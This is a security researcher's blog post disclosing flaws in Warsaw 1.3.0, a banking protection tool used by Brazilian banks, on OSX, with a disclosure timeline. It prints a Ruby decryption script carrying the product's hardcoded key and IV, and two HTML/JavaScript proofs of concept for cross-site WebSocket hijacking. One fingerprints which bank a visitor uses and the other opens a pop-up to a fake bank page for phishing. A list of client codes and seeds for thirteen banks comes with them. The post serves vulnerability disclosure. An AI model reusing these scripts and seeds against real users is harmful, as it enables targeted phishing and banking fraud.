Adventure Time – Warsaw OSX

O artigo em português pode ser acessado aqui

DISCLAIMER: All the opinions and information expressed here are my own. At the time of writing, I am still looking at Warsaw internals, which has a huge attack surface, and as such this should be considered a work in progress.

Around the world fraud represents the greatest threat to financial institutions, especially banks. For this reason many financial institutions are investing significant amounts of resources in modern anti-fraud systems that do not completely prevent abuses, but aim to reduce financial losses.

Brazil is not different in this regard and fraud has become a real nightmare for the banks. To make matters worse, Brazil is well known to have a very large and very active cybercrime scene, with a major focus in banking fraud through use of banking malware. To combat this Brazilian banks designed and implemented a very creative solution to try to reduce the fraud performed through Internet Banking systems, which was to migrate the security checks that were performed to the client side.

Warsaw is an application developed by Gas Tecnologia, subsidiary to Diebold group, and has become the industry security standard used by most of the Brazilian banks. Under the guise of protecting customers during online banking transactions, Warsaw is mandatory to be installed on personal computers which users need to access Internet Banking.

What is the problem with a security solution such as Warsaw? In short, it works very similarly to a rootkit, and in a similar fashion it is quite invasive software that can trace the user's actions. While this behaviour can be more clearly observed in the Windows version of the software, similar invasive techniques are also used in the OSX version. I have started to reverse engineer the software trying to gather evidence to confirm Warsaw's disregard for user privacy, and in the side effect of this process I was able to discover that the software does not follow security best practices, and may expose user information that can then be used to deliver tailored bank malware.

Details:

  • OS: OSX El Capitan
  • Version: Warsaw 1.3.0
Hardcoded Encryption Key & Static Initialization Vector (IV)

Like any other software the Warsaw has a lot of small parts, dynamic libraries (dylib), since we're talking about OSX. Warsaw comes with 7 dylib available at /usr/local/lib/warsaw/. A list of the dylib files is as follows:

  • wsbrmu.dylib
  • wsftbco.dylib
  • wsftdl.dylib
  • wsftev.dylib
  • wsftuan.dylib
  • wsftup.dylib
  • wslbmid.dylib

Each of the dynamic libraries mentioned above have a well-defined functionality. An example of this is seen in the wsftbco.dylib library that is intended to handle browser communication.

Luckily I already knew the encryption key due to a previous round of dynamic analysis (debugging) that I performed… But to my surprise during a dumb static code analysis I found the same key hardcoded in the wsftup.dylib file at the warsaw::update::LoadConfig function.

require 'rubygems'  
require 'chilkat'

crypt = Chilkat::CkCrypt2.new()

success = crypt.UnlockComponent("Decrypt Tool")  
if (success != true)  
    print "Crypt component unlock failed" + "\n"
    exit
end

crypt.put_CryptAlgorithm("blowfish2")  
crypt.put_CipherMode("cfb")  
crypt.put_KeyLength(38)

key = "[email protected]!do2,38u0|/9432%&3re?wf4tv"  
iv = "8293662428438794533"

crypt.SetEncodedKey(key,"ascii")  
crypt.SetEncodedIV(iv,"ascii")

success = crypt.CkDecryptFile("features.dat","features.txt")  
if (success != true)  
    print crypt.lastErrorText() + "\n"
    exit
end  

Configuration file features.dat decrypted.

Chilkat Reference & Cryptopp Reference

Responsible disclosure timeline

  1. April 19 2016 - First contact
  2. April 19 2016 - Details sent to Gas Tecnologia
  3. April 23 2016 - Gas Tecnologia says that will address the report to the technical team
  4. /dev/null - No answers from Gas Tecnologia
  5. May 04 2016 Blog post
Information Leakage

To be honest I have no idea how to classify the issue. We can call Information Leakage or a simple way to Abuse the Warsaw in order to lead the user to provide sensitive data. An attacker could further combine this issue with others vulnerabilities, like Cross-Site Scripting

UPDATE: The technical name is Cross-Site WebSocket Hijacking (CSWSH) Thank you @bernardomr

The Warsaw installing process has a lot of steps and I recommend that you install Warsaw in a OSX virtual machine to understand the installation process, as it does have some weird steps. After completing the installation process my first idea was check for loaded dylibs, files and network connections. Luckily there's so many tools that can help with this. I selected TaskExplorer for this process. To start the process my first thought was check the network tab and I noticed an odd port open, as shown in the image below:

Now I have a local port 30900 in listening status opened and according to Gas Tecnologia, this port is used for the Browser -> Warsaw communication.

Going deeper, Warsaw installed a WebSocket server, over ssl (wss://), that allows any website that contains some malicious javascript make requests to Warsaw. After a few hours of studying how the communication works between the browser and the Warsaw, I figured it out! Also, if you want to review the WebSocket library, feel free WebSocketpp. Gas Tecnologia provides to their customer a set of JavaScripts used to make queries/checks to the Warsaw, such as:

  • IsInstaled
  • Update
  • Install

You can find the JavaScript files in your favorite Internet Banking solution, if they use Warsaw. For our POC we only need two of the JavaScript files: warsaw-wrapper.js and warsaw-agent.js.

POC #1 - Identifying the Bank

Due to the fact any website that contains malicious javascript code can send requests to Warsaw, minor changes to the provided JavaScript files allow us to identify the bank of users if they have Warsaw installed on their computer.

<html>  
<script src="warsaw-agent.js"></script>  
<script src="warsaw-wrapper.js"></script>

<script type="text/javascript">

  var wrapper;

  updateError = undefined;
  controlarInstall = undefined;

  function log(msg) {
    document.getElementById("log").innerHTML += msg + "<br>&nbsp;";
    console.log(msg);
  }

  function checkBanese(){
    var cliente = "bes";
    var seed = "efvfxVQ6EvLYz2C4sIJaS2cWjTdtATAncytt6qkvnU/GdFvSss9SdPzpNxpfHbJsXyNis6lElt+oIKjfYrPJwXdumAC4yoCcq681qzzV1QmTF//ugrMiSFhtxBPUDmBDtkR8QDrVAL2awIFxYT+J6WqI897NxN2TCsQ8jA=="

    wrapper =  new WarsawWrapper(cliente,seed);

    try {
      wrapper.IsInstalled(function() {
      log("Warsaw Instalado - Banese [OK] ");
      });
    } catch (e) {
      log("Erro na chamada IsInstalled: " + e);
      updateError = "3";
    }
  }
  function check(){
    checkBanese();
  }
</script>  
<p id="log" class="center">  
</p>  
<body onload="check()">  
</html>  

Changing the cliente and the seed you can check any bank. You can find this information by browsing in your favorite Internet Banking website.

Since we have no restrictions, no origin checks, and any website can make requests to Warsaw, an attacker can take advantage of this and deliver tailored banking malware to the users, avoiding or reducing the rate detection by defence solutions that are present.

This simple flaw fails to protect user privacy and allows any website to identify the user’s bank. Since this also can be used by competitor banks and advertising agencies, it may also be used to deliver tailored ads and potentially more harmful malware.

As previously mentioned, an attacker can combine a XSS with this flaw and redirect the users to Phishing websites that mimic the intended target website. A proof of concept is seen below:

POC #2 - Redirect to Fake Page (Cross-Site WebSocket Hijacking (CSWSH))

<html>  
<script src="warsaw-agent.js"></script>  
<script src="warsaw-wrapper.js"></script>

<script type="text/javascript">

  var wrapper;
  var windowObjectReference;

  updateError = undefined;
  controlarInstall = undefined;

  function log(msg) {
    document.getElementById("log").innerHTML += msg + "<br>&nbsp;";
    console.log(msg);
  }

  function openRequestedPopup() {
    windowObjectReference = window.open(
      "http://fake-bank-page.com/bes-recadastramento.html",
      "Recadastramento Obrigatorio",
      "height=800,width=600"
    );
  }

  function checkBanese(){
    var cliente = "bes";
    var seed = "efvfxVQ6EvLYz2C4sIJaS2cWjTdtATAncytt6qkvnU/GdFvSss9SdPzpNxpfHbJsXyNis6lElt+oIKjfYrPJwXdumAC4yoCcq681qzzV1QmTF//ugrMiSFhtxBPUDmBDtkR8QDrVAL2awIFxYT+J6WqI897NxN2TCsQ8jA=="

    wrapper =  new WarsawWrapper(cliente,seed);

    try {
      wrapper.IsInstalled(function() {
      log("Warsaw Instalado - Banese [OK] ");
      log("Redirecting to SE page...")
      setInterval(openRequestedPopup(), 10000);
      log("Redirect Done!")
      });
    } catch (e) {
      log("Erro na chamada IsInstalled: " + e);
      updateError = "3";
    }
  }
  function check(){
    checkBanese();
  }
</script>  
<p id="log" class="center">  
</p>  
<body onload="check()">  
</html>  
clientes:  
  bes = Banese
  scd = Banco Sicredi
  tec = Unicred
  cef = Caixa
  cfs = Confesol
  ant = ANTT
  amz = Banco da Amazonia
  bb  = Banco do Brasil
  brb = Banco de Brasilia
  bnt = Banestes
  uni = Itau
  bnb = Banco do Nordeste
  srf = Banco Safra
Seed:

BANESE  
efvfxVQ6EvLYz2C4sIJaS2cWjTdtATAncytt6qkvnU/GdFvSss9SdPzpNxpfHbJsXyNis6lElt+oIKjfYrPJwXdumAC4yoCcq681qzzV1QmTF//ugrMiSFhtxBPUDmBDtkR8QDrVAL2awIFxYT+J6WqI897NxN2TCsQ8jA==

ITAU  
efvfxVQ6EvLYz2C4sIJaXGNVVh7ETFeKjROLM9PWNLVKdBu8XhKGzCzM1/lOwDZ3w1AfY6hE15mTmaru3fbgdYZSSUYMixAtOntGdxU3A6kG2SL3cBwwcS0L8sFQhY6JV2zyHUpkUKPwBOoBcLKOIyrtIg4UjxwW9kwtVOWK3w== 

ANTT  
efvfxVQ6EvLYz2C4sIJaSMtrBYjb+gcgn2djpoIrkrma9YZuRe4Z7LhtF70Yon932lq/yvizeaqfLnOLRWFX574UXPQR8OJmAI1zC56lbp9VQx7Cp/ZT/WM2rQWHo/INlsIa266JUaRRrWEsV9JwqOGqWyHZ1krB0A==

Banco da Amazonia  
efvfxVQ6EvLYz2C4sIJaSMhlBYjb+gcg/uPSBGmTZYcmvlcbiVNs94w/HUEfh4PpQ++TwY4Gq3vqejESyKImNVl1O5md7xBWHDRzK/cjuvjbYMDN1bA1WMmREHkDJxSuKoddJNRbCuOaMEYPAMWqim5f0bUx19MEIg33iT9fjOAhbJw= 

Banco do Brasil  
efvfxVQ6EvLYz2C4sIJaS2BHgzkiDTYpddBUfiK2+URM4RZYLNt9wLF9QrvQLhCbU51KGDlH15yIXSGq1zpTyjEfwXfPkU9iotTJkcR6rg5cfXysXchGv1d2TWjMGXWslhd9XGo4sMt4i7JxWKtj/lIDZdQIwHwp2/P5AX4mT5zggg== 

Banco de Brasilia  
efvfxVQ6EvLYz2C4sIJaS3AHjTdtATAnEOqr5BQFlkRUn7tnAkeu4keXKMn2m2tps7X2UaA0thpopGOIZMxeDVHoE+gh8pzhYI59sSCgq5whwz9Lij2git5BQ8OIJhP5rGESiHJEsxIb3/6UGmxahiK5ZWb8KFEEHAbfp1zI5z+hgFmDvoiW1Rs= 

Banestes  
efvfxVQ6EvLYz2C4sIJaS2wRjTdtATAnMgbAgxiwOgQwyeFRbjI4VvtX1XbPDM6/of8nPLAz6xUbe1HwaMLhKLd4vdZDUj0aKl1bJdXtTFmTCTE36yyIRbLmLkjZiIDc0RAZ5tC74F2eYM1nVDpjQKZQifnAuJ9OIHWj8WnymA==

Banco Mercantil  
efvfxVQ6EvLYz2C4sIJaS28HjTdtATAn/izrjcTtE4nb/jJqt6g8buFxySb90ANslK6SUKSw6w6cPCjMJmq1s58NcG86JqAyU33b5vRSGBoNCNil4XyDMEg6czJAaW5t5idlxUC93YdLA+n44qQUjgcbk9Ug2GVOG2MSPWvyMaj9mT2I9yAy/JM=

Banco do Nordeste  
efvfxVQ6EvLYz2C4sIJaS2wHjTdtATAnBiYL4tDuBJeNaOzbANhzPR5y1EAWG0U+ToyT/PR5asTkqfBaRRnodJiYdAQLOoQQvJUgl79qUdHEMb4uL21mf9Uq9x/xKOV05dp8WxF2+m2TVpFfrYsINwJqYhi6yD480jaeK01g9xZy

Banco Safra  
efvfxVQ6EvLYz2C4sIJaWiPHItbgdUJAk6mvHnkoHdl17200nTXQY3NwTOaJ6y/C063oqaeg1xxDhjQDQoc6ToLjQk9fi0V/pIFqlkJuR0+xjesGJKtN3XjnLtoCXLXy+z4T+TL5UuZzG/H4rVU/C4U12s5KPIkBR923Ug==

Banco Sicredi  
efvfxVQ6EvLYz2C4sIJaWibRItbgdUJAubUdCkwIAzWc1esIEdy62TyGLQJT9nhOHT0aKdBnl2ns/iViBywFIlaqJjOf5i/tuWm0JkHn4Ipal/LemM8/nLlZrB68r8T9pySURIl0peaVEp2HXbtmMN3QTm2QCxyXOlWhGZFk1MxRj/k= 

Unicred  
efvfxVQ6EvLYz2C4sIJaXS/roUJoawweza+np1AE1zzu/NKpTOLjlQCbzy4ouE9aL3y11pgrMG4Y3er7gHFegYwwUgb0kGZY0uikmP2QEQ3DYlwA0qmoOQp/Q3jQWMOPCCY249PXzUz27KlR9HJHabi/QzVeNTFAvlR0nb3oXF8=

Caixa Economica Federal  
efvfxVQ6EvLYz2C4sIJaSvSMIw/VFEuqdYl+jfuXjhoITgCrG9F1g6YfQHV16DzmIKOBu8Pa/EPjzM5pScWlvX9yIrU72hboZ48qDK28BoAHA5H84YqtG7c3PPMr9JbGwC2KIw/QOWh1jsR84WCwPC6B+AjL0Vc=

Confesol  
efvfxVQ6EvLYz2C4sIJaSveZIw/VFEuqs3hunWZoTBhB7z9CT61Tb7Y8TE7mwdokYdr0Ft6/U2tUe3AH9WYyf/hylP/x2D2jIyQxDJENlMdohXfM4WuELNrcVjPX7sscYpngB75sYg/DphdFLwDJBQJ9F4eyli+Qxw==

Warsaw Redirect Demo from J on Vimeo.

Cya

"No hacker is normal; they only differ in the extent of their madness!"
– BSDaemon